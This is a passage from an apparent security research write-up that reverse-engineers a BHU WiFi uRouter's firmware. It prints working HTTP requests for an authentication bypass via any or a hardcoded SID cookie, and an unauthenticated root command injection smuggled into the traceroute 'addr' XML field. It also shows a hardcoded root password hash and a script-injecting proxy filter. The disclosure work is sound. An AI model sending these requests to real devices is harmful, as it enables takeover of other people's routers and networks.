                           (44) # Return s1 (s1 = 0xFFFFFFFE)
.text:0003B724                 move    $v0, $s1
/* [omitted] */
.text:0003B73C                 jr      $ra
.text:0003B740                 addiu   $sp, 0x40

 

.text:0003B740  # End of function dml_dms_ucmd

 

Above is the only reference to 0xFFFFFFFE (-2) I could find in dml_dms_ucmd. The function will return -2 (44) when its first parameter is NULL (43), meaning only when the SID is NULL.

…Wait a second…that would mean that…no, it can’t be that broken?

Here’s a request with a random cookie value:

 

 
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: abcsid=def
Content-Length: 9
Connection: close
 
op=reboot

Response:

HTTP/1.1 200 OK
Content-type: text/plain
 
result=ok

Yes, it does mean that whatever SID cookie value you provide, the router will accept it as proof that you’re an authenticated user!

From Admin to Root

So far, we have three possible ways to gain admin access to the router’s administrative web interface:
  •          Provide any SID cookie value
  •         Read the system logs and use the listed admin SID cookie values
  •         Use the hardcoded hidden 700000000000000 SID cookie value


Our next step is to try elevating our privileges from admin to root user.

We have analyzed the POST request handler and understood how the op requests were processed, but the POST handler can also handle XML requests:

 

/* [omitted] */
LOAD:00402E2C                 addiu   $a0, $s2, (aContent_type – 0x400000)  # “CONTENT_TYPE”
LOAD:00402E30                 la      $t9, getenv
LOAD:00402E34                 nop
                          (45) # Get the “CONTENT_TYPE” of the request
LOAD:00402E38                 jalr    $t9 ; getenv
LOAD:00402E3C                 lui     $s0, 0x40
LOAD:00402E40                 lw      $gp, 0x658+var_640($sp)
LOAD:00402E44                 move    $a0, $v0
LOAD:00402E48                 la      $t9, strstr
LOAD:00402E4C                 nop
                          (46) # Is it a “text/xml” request?
LOAD:00402E50                 jalr    $t9 ; strstr
LOAD:00402E54                 addiu   $a1, $s0, (aTextXml – 0x400000)  # “text/xml”
LOAD:00402E58                 lw      $gp, 0x658+var_640($sp)
LOAD:00402E5C                 beqz    $v0, b_content_type_specified
/* [omitted] */
                          (47) # Get SID cookie value
LOAD:00402F88                 jal     get_cookie_sid
LOAD:00402F8C                 and     $s0, $v0
LOAD:00402F90                 lw      $gp, 0x658+var_640($sp)
LOAD:00402F94                 move    $a1, $s0
LOAD:00402F98                 sw      $s1, 0x658+var_648($sp)
LOAD:00402F9C                 la      $t9, dml_dms_uxml
LOAD:00402FA0                 move    $a0, $v0
LOAD:00402FA4                 move    $a2, $s3
                          (48) # Calls ‘dml_dms_uxml’ with request body and SID cookie value
LOAD:00402FA8                 jalr    $t9 ; dml_dms_uxml

LOAD:00402FAC                 move    $a3, $s2

When receiving a request with a content type (45) containing text/xml (46), the POST handler retrieves the SID cookie value (47) and calls dml_dms_uxml (48), implemented in libdml.so. Somehow, dml_dms_uxml is even nicer than dml_dms_ucmd:

 

 

.text:0003AFF8                 .globl dml_dms_uget_xml
.text:0003AFF8 dml_dms_uget_xml:
/* [omitted] */
                           (49) # Copy SID in s1
.text:0003B030                 move    $s1, $a0
.text:0003B034                 beqz    $a2, loc_3B33C
.text:0003B038                 move    $s5, $a3
                           (50) # If SID is NULL
.text:0003B03C                 bnez    $a0, loc_3B050
.text:0003B040                 nop
.text:0003B044                 la      $v0, unk_170000
.text:0003B048                 nop
                           (51) # Replace NULL SID with the hidden hardcoded one
.text:0003B04C                 addiu   $s1, $v0, (a70000000000000 – 0x170000)  # “700000000000000”

 

/* [omitted] */

 

The difference between dml_dms_uxml and dml_dms_ucmd is that dml_dms_uxml will use the hardcoded hidden SID value 700000000000000 (51) whenever the SID value from the user (49) is NULL (50).
In other words, we don’t even need to be authenticated to use the function. “If you can’t afford a SID cookie value, one will be appointed for you.” Thank you, BHU WiFi, for making it so easy for us!

The function dml_dms_uxml is responsible for parsing the XML in the request body and finding the corresponding callback function. For instance, when receiving the following XML request:

POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
 
<cmd>
<ITEM cmd=”traceroute”addr=”127.0.0.1″ />

 

</cmd> 

 

The function dml_dms_uxml will check the cmd parameter and find the function handling the traceroute command. The traceroute handler is defined in libdml.so as well, within the function dl_cmd_traceroute:

 

.text:000AD834                 .globl dl_cmd_traceroute
.text:000AD834 dl_cmd_traceroute:                       # DATA XREF: .got:dl_cmd_traceroute_ptr|o
.text:000AD834
/* [omitted] */
                           (52) # arg0 = XML data
.text:000AD86C                 move    $s3, $a0
                           (53) # Retrieve the value of parameter “address” or “addr”
.text:000AD870                 jalr    $t9 ; conf_find_value
                           (54) # arg1 = “address/addr”
.text:000AD874                 addiu   $a1, (aAddressAddr – 0x150000)  # “address/addr”
.text:000AD878                 lw      $gp, 0x40+var_30($sp)
.text:000AD87C                 beqz    $v0, loc_no_addr_value
                           (55) # s0 = XML[“address”]
.text:000AD880                 move    $s0, $v0

 

First, dl_cmd_traceroute tries to retrieve the value of the parameter named address or addr (54) in the XML data (52) by calling conf_find_value (53) and stores it in s0 (55).

Moving forward:

 

.text:000AD920                 la      $t9, dms_task_new
                           (56) # arg0 = dl_cmd_traceroute_th
.text:000AD924                 la      $a0, dl_cmd_traceroute_th
                               # arg1 = 0
.text:000AD928                 move    $a1, $zero
                           (57) # Spawn new task by calling the function in arg0 with arg3 parameter
.text:000AD92C                 jalr    $t9 ; dms_task_new
                           (58) # arg3 = XML[“address”]
.text:000AD930                 move    $a2, $s1
.text:000AD934                 lw      $gp, 0x40+var_30($sp)
.text:000AD938                 bltz    $v0, loc_ADAB4
It calls dms_task_new (57), which starts a new thread and calls dl_cmd_traceroute_th (56) with the value of the address parameter (58).
 

Let’s have a look at dl_cmd_traceroute_th:

 

.text:000ADAD8                 .globl dl_cmd_traceroute_th
.text:000ADAD8 dl_cmd_traceroute_th:                    # DATA XREF: dl_cmd_traceroute+F0|o
.text:000ADAD8                                          # .got:dl_cmd_traceroute_th_ptr|o
/* [omitted] */
.text:000ADB08                 move    $s1, $a0
.text:000ADB0C                 addiu   $s0, $sp, 0x130+var_110
.text:000ADB10                 sw      $v1, 0x130+var_11C($sp)
                           (59) # arg1 = “/bin/script…”
.text:000ADB14                 addiu   $a1, (aBinScriptTrace – 0x150000)  # “/bin/script/tracepath.sh %s”
                           (60) # arg0 = formatted command
.text:000ADB18                 move    $a0, $s0         # s
                           (61) # arg2 = XML[“address”]
.text:000ADB1C                 addiu   $a2, $s1, 8
                           (62) # Format the command with user-supplied parameter
.text:000ADB20                 jalr    $t9 ; sprintf
.text:000ADB24                 sw      $v0, 0x130+var_120($sp)
.text:000ADB28                 lw      $gp, 0x130+var_118($sp)
.text:000ADB2C                 nop
.text:000ADB30                 la      $t9, system
.text:000ADB34                 nop
                           (63) # Call system with user-supplied parameter
.text:000ADB38                 jalr    $t9 ; system
                           (64) # arg0 = Previously formatted command
.text:000ADB3C                 move    $a0, $s0         # command
 

 

The dl_cmd_traceroute_th function first calls sprintf (62) to format the XML address value (61) into the string /bin/script/tracepath.sh %s” (59) and stores the formatted command in a local buffer (60). Then it calls system (63) with the formatted command (64).


Using our previous request, dl_cmd_traceroute_th will execute the following:

system(“/bin/script/tracepath.sh 127.0.0.1”)

As you may have already determined, there is absolutely no sanitization of the XML address value, allowing an OS command injection. In addition, the command runs with root privileges:

 

POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 101
Connection: close
 
<cmd>
<ITEM cmd=”traceroute” addr=”$(echo &quot;$USER&quot; &gt; /usr/share/www/res)” />

</cmd>

 The command must be HTML encoded so that the XML parsing is successful. The request above results in the following system function call:
system(“/bin/script/tracepath.sh $(echo ”$USER” > /usr/share/www/res)”)
 

When accessing:

HTTP/1.1 200 OK
Date: Thu, 01 Jan 1970 00:02:55 GMT
Last-Modified: Thu, 01 Jan 1970 00:02:52 GMT
Etag: “ac.5”
Content-Type: text/plain
Content-Length: 5
Connection: close
Accept-Ranges: bytes
 

root

 

 

The security of this router is so broken than an unauthenticated attacker can execute OS commands on the device with root privileges! It was not even necessary to find the authentication bypass in the first place, since the router uses 700000000000000 by default when no SID cookie value is provided.

At this point, we can do anything:

  • Eavesdrop the traffic on the router using tcpdump
  • Modify the configuration to redirect traffic wherever we want
  • Insert a persistent backdoor
  • Brick the device by removing critical files on the router
In addition, no default firewall rules prevent attackers from accessing the feature from the WAN if the router is connected to the Internet.

Broken and Shady

 
We’ve clearly established that the uRouter is utterly broken, but I didn’t stop there. I also wanted to look for backdoors, such as hardcoded username/password accounts or hardcoded SSH keys in the Chinese router.


For instance, on boot the BHU WiFi uRouter enables SSH by default:

 
$ nmap 192.168.62.1                     
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-07 17:03 CEST
Nmap scan report for 192.168.62.1
Host is up (0.0079s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
1111/tcp open  lmsocialserver

 

It also rewrites its hardcoded root-user password every time the device boots:

 

# cat /etc/rc.d/rcS
/* [omitted] */
if [ -e /etc/rpasswd ];then
    cat /etc/rpasswd > /tmp/passwd
else
    echo bhuroot:1a94f374410c7d33de8e3d8d03945c7e:0:0:root:/root:/bin/sh > /tmp/passwd
fi
/* [omitted] */
This means that anybody who knows the bhuroot password can SSH to the router and gain root privileges. It isn’t possible for the administrator to modify or remove the hardcoded password. You’d better not expose a BHU WiFi uRouter to the Internet!

The BHU WiFi uRouter is full of surprises. In addition to default SSH and a hardcoded root password, it does something even more questionable. Have you heard of Privoxy? From the project homepage:

“Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk.”

It’s installed on the uRouter:

 

# privoxy –help
Privoxy version 3.0.21 (http://www.privoxy.org/)
# ls -l privoxy/
-rw-r–r–    1        24 bhu.action
-rw-r–r–    1       159 bhu.filter
-rw-r–r–    1      1477 config

 

The BHU WiFi uRouter is using Privoxy with a configured filter that I would not describe as “enhancing privacy” at all:

# cat privoxy/config 
confdir /tmp/privoxy
logdir /tmp/privoxy
filterfile bhu.filter
actionsfile bhu.action
logfile log
#actionsfile match-all.action # Actions that are applied to all sites and maybe overruled later on.
#actionsfile default.action   # Main actions file
#actionsfile user.action      # User customizations
listen-address  0.0.0.0:8118
toggle  1
enable-remote-toggle  1
enable-remote-http-toggle  0
enable-edit-actions 1
enforce-blocks 0
buffer-limit 4096
forwarded-connect-retries  0
accept-intercepted-requests 1
allow-cgi-request-crunching 0
split-large-forms 0
keep-alive-timeout 1
socket-timeout 300
max-client-connections 300
# cat privoxy/bhu.action 
{+filter{ad-insert}}
# cat privoxy/bhu.filter 
FILTER: ad-insert  insert ads to web                     

s@</body>@<script type=’text/javascript’ src=’http://chdadd.100msh.com/ad.js’></script></body>@g    

 

 

This configuration means that uRouter will process all HTTP requests with the filter named ad-insert. The ad-insert filter appends a script tag at the end of the body that includes a JavaScript file.

Sadly, the above URL is no longer accessible. The domain hosting the JS file does not respond to non-Chinese IP addresses, and from a Chinese IP address, it returns a 404 File Not Found error.

Nevertheless, a local copy of ad.js can be found on the router under /usr/share/ad/ad.js. Of course, the ad.js downloaded from the Internet could do anything; yet, the local version does the following:

  • Injects a DIV element at the bottom of the page of all websites the victim visits, except bhunetworks.com.
  • The DIV element embeds three links to different BHU products:
    • http://bhunetworks.com/BXB.asp  
    • http://bhunetworks.com/bms.asp
    • http://bhunetworks.com/planview.asp?id=64&classid=3/
Would you describe BHU’s use of Privoxy as “enhancing privacy…removing ads and other obnoxious Internet junk”? Me neither. While the local mirror isn’t harmful to users, I advise you to have a look at https://citizenlab.org/2015/04/chinas-great-cannon/, where Baidu injected an h.js JavaScript file into their users’ traffic in order to launch a Distributed Denial of Service against GitHub.com.


In addition, uRouter loads a very suspicious kernel module on startup:

 

# cat /etc/rc.d/rc.local
/* [omitted] */
[ -f /lib/modules/2.6.31-BHU/bhu/dns-intercept.ko ] && modprobe dns-intercept.ko

/* [omitted] */

Other kernel modules can be found in the same directory, such as url-filter.ko and pppoe-insert.ko, but I’ll leave this topic for another time.

Conclusion

The BHU WiFi uRouter I brought back from China is a specimen of great physical design. Unfortunately, on the inside it demonstrates an extremely poor level of security and questionable behaviors.

An attacker could:

  • Bypass authentication by providing a random SID cookie value
  • Access the router’s system logs and leverage their information to hijack the admin session
  • Use hardcoded hidden SID values to hijack the DMS user and gain access to the admin functions
  • Inject OS commands to be executed with root privileges without requiring authentication

In addition, the BHU WiFi uRouter injects a third-party JavaScript file into its users’ HTTP traffic. While it was not possible to access the online JavaScript file, injection of arbitrary JavaScript content could be abused to execute malicious code into the user’s browser.

Further analysis of the suspicious BHU WiFi kernel modules loaded on the uRouter at startup could reveal even more issues.


All of the high-risk findings I’ve described in this post are detailed in IOActive Security Advisories at https://ioactive.com/resources/disclosures/.